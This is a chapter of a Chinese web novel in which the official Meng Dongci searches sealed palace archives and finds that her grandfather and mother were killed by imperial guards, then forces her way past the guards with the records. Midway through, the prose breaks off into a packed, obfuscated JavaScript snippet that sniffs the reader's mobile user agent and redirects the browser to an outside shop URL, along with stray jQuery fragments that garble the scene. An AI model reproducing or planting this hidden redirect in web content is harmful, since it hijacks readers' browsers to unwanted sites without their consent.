默认冷灰
24号文字
方正启体

120. 偷梁换柱

作者:松风答砚本书字数:K更新时间:
    “门下:朕绍膺骏命,抚临万邦。


    朕以渺功,承天景命,戡乱定基,肇启大煜。然改世维艰,非朕一人之力可成。朕之肱骨、挚友、开国大将军孟宣,文武兼资,忠勇天锡,披坚执锐,战无不胜。朕之天下,半壁皆赖其功,其情可托生死。


    然天不假年,栋梁遽摧。宣之身故,于朕甚于断臂折骨,每思其音容功烈,未尝不涕泗滂沱,痛彻心扉。


    朕与宣,不称君臣,尤胜骨肉。其功之高非爵禄可酬,非山河可比,为践生死之谊,更为了却朕末年之憾,特留此旨,垂训万世:


    大煜江山,得于孟宣之力,后世君民,当念开创维艰。孟氏之功,旷古绝今,孟姓之尊荣,当贵于皇姓。凡孟氏子孙,见天子不行跪拜之礼,享皇室仪仗。大煜姜氏,当以亲恩待之。


    后世孟家,如再出英才,德能安社稷、驭万民,仁声著于四海,威望隆于宇内,天命所归、民心所向者,则我姜氏后人,须谨遵天道、顺应人心,效尧舜之德,行禅让之礼,托江山、付万民,使我大煜,贤者居之,永享太平。


    此旨非一时之言,当镌于太庙,藏于金匮,副本交孟氏之后,乃万世铁律,永为信守。姜氏后人,敢有违逆此旨,或阴损孟氏者,即为不忠不孝、背祖忘恩之贼,天下共击,神鬼共戮!


    故兹诏示,想宜知悉。


    大煜开国皇帝,姜浍。”


    孟冬辞与林融霜四月二十九上午回了泓都,回府之后,她又将这圣旨翻来覆去看了两遍。


    百年已过,但上边字迹仍清晰,打开时还闻得见墨香,当年写下时用的应该都是最好的笔墨,加上金丝织成的绢底,整块白玉雕出的边轴……


    这样的东西,只会来自皇室,绝不可能是伪造。


    还有这张八卦图。当时将军祠里灯火昏暗看不太清,如今看来,更像是那间八角屋子的建造图,这上边的标记,与那天宣浍城门下,那道士叫她留意的几处,相差不多。


    “阿姐。”


    林融霜递到手边的一盏茶叫孟冬辞回了神。


    孟冬辞将圣旨和八卦图一并卷好,接过了林融霜递来的茶。


    “这里面的孟氏,说的是咱们家吗?”林融霜在孟冬辞身侧坐下,“自宣浍回来你就怪怪的,出什么事了?”


    孟冬辞不知从何说起,只摇头:“还不知道,融霜,明日一早,我再去一趟实录院。”


    林融霜转到书案后,挤在她身边坐下,下巴搭在她的肩头:“阿姐,那天咱们从将军祠出来,外边好像有个黑影闪过,但一眨眼又没了,回来了你又不怎么说话,我有些慌。”


    孟冬辞抬手捏捏林融霜的脸当作宽慰,几不可闻地叹了声气。


    老师的话是一句暗示,这圣旨上的孟氏很可能是她的先祖,加上宣浍卖茶的阿嬷说的,孟宣的后人历代为大煜镇守四境,可为什么吏部之中却没有他们的名字?这些事,与她母亲的死,到底有什么关联?


    而且,林融霜的担心并非空穴来风,她们这一趟,确实有些太顺了。


    *


    四月三十,旬末休沐,朝官不朝。


    孟冬辞仍旧带着姜珣的印鉴入了实录院,但因姜珣有个云游的好友回泓都,他赶着去书局相见,就没送她入宫。


    她才来过不久,门口的禁军侍卫照例登记后就放了行,但八角屋子中,那日的老史官今日轮休,换成了一个与她年纪差不多的女史官。


    掩好了门,孟冬辞躲开门口的位置,转到红檀木圆台后展开了那张八卦图。


    方才她已数过,这屋里共有四十八个木架,每个十二格,下面六个她的身量能够着,但上面六个便要爬木梯。


    图中做过标记的木架共七个,可巧,上回来,她一个都没翻过,今日看了才知,原来这七个木架,每格上摆着的不是书册卷轴,竟都是上了锁的木盒,非但有锁,还个个贴着封条,有些封条上,画着笔画潦草的符文。


    实录院里边的册子与吏部不同,吏部的书册卷轴外边挂着小木牌,木牌上有编号,要找什么,只需翻吏部的记档册子,按着编号找就行。但这些木盒子没有编号,看上去一模一样,但钥匙却都不一样,十二个一串一起挂在所在架子的最顶上,一个个试错开下去,极为耗时。


    约摸翻了一个多时辰,孟冬辞打开了第四个架子上存在最顶一格的木盒。甫一打开,她便看见了一个孟字。


    孟斯。


    孟氏直系四代。四境总将,战功密密麻麻写满了纸,加起来有半寸厚,于永仁九年身故,死因,不明。


    永仁九年,先帝在位的第九年。


    她的母亲和父亲,是在永仁十年和离的。


    孟冬辞将这人的生平记录放回木盒中,正要上锁放回原处,一个没拿稳,那木盒自手中滑落,在地上砸出‘砰’的一声响。


    跟着便传来门被推开的声音,那女史官急匆匆地走进来。


    “孟相,怎么了?”


    “一时没拿稳,”孟冬辞站在木梯上往下看,“我还有些事要查,你出去等罢。”


    “孟相……”那女史官看到了地上的木盒子和已经被撕掉的封条,摇头,“您看的这些都封了封条,按例是不能动的,若要再看,您拿着二殿下的印鉴不行,得有陛下的亲旨。”


    “知道了,”孟冬辞心中有疑未解,进来一趟也不算容易,只好故意冷下语气,“出去。”


    那女史官见她面色不佳,不敢再言,躬身见礼,掩了门离开。


    孟冬辞下了木梯拾起那盒子,倚着木架坐下,仔细翻看那盒子中一摞写着孟斯战功的纸。


    这人是将,他的功绩和生平,按例该收在吏部甲库,存在实录院本就奇怪,还偏偏存在这八卦图的标出的位置上。


    翻到中间,她发现中间有一页,角落上写着极不明显的一个编号。


    丁列三十一。


    这是吏部收录记档的编号!


    这孟斯的生平,是后来才挪到实录院的!


    说不清的冷意顺着指尖漫进四肢百骸,搁下盒子,孟冬辞顾不得方才下木梯时扭着了脚,强撑着站起身,又爬上梯子去看木架。


    存着孟斯木盒这一个木架,往下第三格,还有一个孟姓之人,名字被涂去,只写着,孟氏旁系,也是厚厚的战功,死因,病逝,可他的家眷记档上,所有名字皆被涂去,最末一页,有两个极为模糊的残笔,横死、抄家。


    这人也有吏部的编号,乙列三号。


    这个编号有些眼熟……


    合起盒子的瞬间,孟冬辞忽地想起,那日吏部甲库里夹在旧档中间的新纸,她最初觉得奇怪,就是看到乙列时,二号和四号之间的记档,非但用了新纸,那新纸上记的人,也是寥寥几句,原籍、出身、功绩通通一笔带过……


    也就是说,那些新纸,根本不是年久受潮重新誊录,而是因为拿走了旧档,假拟了人名、胡编了生平填进去充数的!


    ……


    七个木架上,孟冬辞一共找见了近三十个存着孟姓之人生平的木盒,可除去写着直系的,余下标着旁系的都被涂去了姓名,那都应该是孟宣的后人,却无一例外全被封存在此处……


    可如果孟斯,还有这些孟姓之人,都是孟宣的后人,他们为何非但没有被优待,反而被抄了家……


    想到此处,孟冬辞又重新展开那张八卦图,她看不懂这个,但环顾图上被标出的木架,她仍不自觉打了个冷战,不只木架的位置,就连那些存着孟姓之人生平的木盒摆放的位置、方向、封条上的符文,应该都是这八卦图中的一个阵,所有的这些,都和红檀木圆台上的半块石碑一样,被带着开国女帝姜浍名字的金玺镇压着……


    抄了家还不算,还要弄这样的神鬼之物,将他们的姓名、功绩镇在此处……


    孟冬辞有些喘不过气,想将掉下的、本装着孟斯生平的那个木盒放回原处,赶紧离开这屋子,不想拾起木盒时,被什么东西刮了一下手心。


    她垂眼去看,才发现那木盒的盖子里面,有个极不明显的夹层,因她这一摔,夹层的盖板松动,才露出了缝隙。孟冬辞自发间拔下银簪,顺着缝隙将盖板撬开。


    里面放着一张胡乱折起来的纸,孟冬辞展开,只一眼,便如坠冰窟,颓然往后一靠,后背磕在红檀木圆台上,疼得眼前发黑。


    那纸上写着:孟氏直系五代,孟斯独女,孟寻羨,未入朝,无官职,死因,暗卫围杀。


    孟冬辞半晌没有缓过神。


    孟斯是母亲的父亲?是她的外祖?为何外祖的名字她从没听过?还有,当年那些拎着弯刀闯进她家的人,不是水匪……是暗卫?


    母亲的死,不是水匪图财屠村,而是蓄意围杀?那整个渔村的人呢?他们是为了杀母亲一人,灭了整个渔村的口么?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807378|174735||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那这些被抄家、横死、姓名被涂去的人呢?都是她的亲人么?


    是谁下的令?先帝么?当时那些人先要砍的分明是她,为什么杀了母亲后只将她沉了海,没有斩尽杀绝?


    可进宫伴读到入朝那些年,先帝待她分明极好,为什么?


    ……


    孟冬辞推开实录院门的时候已是傍晚,外面站着一院子的禁军侍卫。


    看样子,那女史官发觉她不对劲,将所见告诉了实录院的守卫。


    为首的那个朝她抱拳,指着她手中用一截衣带捆着的一摞纸:“孟相,实录院中的东西,您不能带出去。”


    孟冬辞看着他,缓缓眨了一下眼,嘴唇翕动,极轻地说:“让开。”


    那侍卫往前一步:“我朝律例,实录院非皇家不得入,孟相拿着二殿下印鉴,我等依例放行,但就算是二殿下亲自过来,也不能自实录院中带出东西,孟相还请不要为难我等。”


    孟冬辞不应,顾自往前走。


    “孟相,”那侍卫握紧刀柄,横跨一步拦在她身前,“今日若放您离开,非但您要被弹劾,我等也会被牵连,请孟相体恤。”


    “不以一人之过牵连他人的律法,是我亲自改的,”孟冬辞觉得喉头塞着一团木屑似的,每说一句话便觉得喉咙剧痛,“今日这些东西,我一定要带走,你们只管如实去禀陛下,所有罪责,我一力承担。”


    那侍卫单膝着地,自腰间取下长刀横在胸前,他身后的那些侍卫,跟着都屈了膝。


    “方才我的话,你们都听清了,”孟冬辞淡淡垂眼,俯身将那侍卫的佩刀往出抽了一半,说,“诸位都是好手,若想拦我,只管拔刀。”


    *


    林融霜用过午膳就蹲在府门口等孟冬辞,一直等到了天蒙蒙黑,才见她的马车露头,赶忙上前去迎。


    可孟冬辞下了马车,也不看她,失了魂似的,深一步浅一步往门口走,跨过门槛时还踉跄了一下,林融霜这才看出她像是伤了脚踝,跑过去扶她。


    握住她的手时,林融霜吓了一跳,那手凉的像是冰水里浸过似的,大约是觉出暖意,孟冬辞缓缓偏过头看她,眼底一片叫人心惊的死寂。


    跟着,便软绵绵地倒了下去。


    将孟冬辞背回卧房,林融霜卷起她的裙摆,见她左边脚踝肿了两指高,像是扭伤,可问她她也不开口,只垂着眼,静静坐着。


    林融霜去打了冷水投了帕子替她敷着,再抬眼时,孟冬辞正看着她,没头没尾地说了一句:“幸而你挂了印。”


    林融霜没明白,问:“阿姐,出什么事了?”


    “融霜,”孟冬辞将她牵到身边坐下,往她肩头倚过去,“我有些冷。”


    林融霜闻言伸手去探她的额头,被吓了一跳,站起身要走:“阿姐,好好的,怎么起热了?我请郎中去!”


    “我不吃药,”孟冬辞却抓住她的手腕,近乎哀求地说,“我怕苦。”


    孟冬辞唇角牵着向上的弧度,可眼中全然没有情绪,若细看,竟有些冷,掺着些叫人心惊的杀意。孟冬辞从没在她面前露出这样的神情,就连小时候她们阿娘走的那天,她也没这样。


    “阿姐……”林融霜狠狠一哆嗦,蹲下身,眼圈蓦地红了,“阿姐,你别这样,我害怕。”


    可孟冬辞仍不回神,林融霜慌了,站起身想去找姜珣,走到门口才想起姜珣还在书局没回来,又折身回来,一眼瞥见连椅小几上,棋奁下边压着的那个信封。


    打开信封,她将信展开,塞到孟冬辞手里:“阿姐,元珵来信了。”


    第四次重复元珵的名字时,孟冬辞的眼睛,才轻轻转动了一下。


    “就是咱们去宣浍前的那封信,当时没顾上拆,”林融霜急慌慌地说,“今日我想起来才去拆,这信下面印着那小金玺上的‘桉’字,是元珵,阿姐,你想他么?”


    孟冬辞这才垂眼去看手中的信。


    “冬辞。


    只数日不见,却恍若隔世。


    不知你顺遂与否,可有被人为难?无论如何,要记得顾惜自身。


    我心中实在惦念,去信一封,不敢盼回,权作慰藉。


    我一切都好,只是很想你。”


    两滴泪砸在纸上,晕开一小片墨迹。


    半晌,孟冬辞才抬头,朝林融霜艰难地提了提唇角。


    “融霜,我想吃糖。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)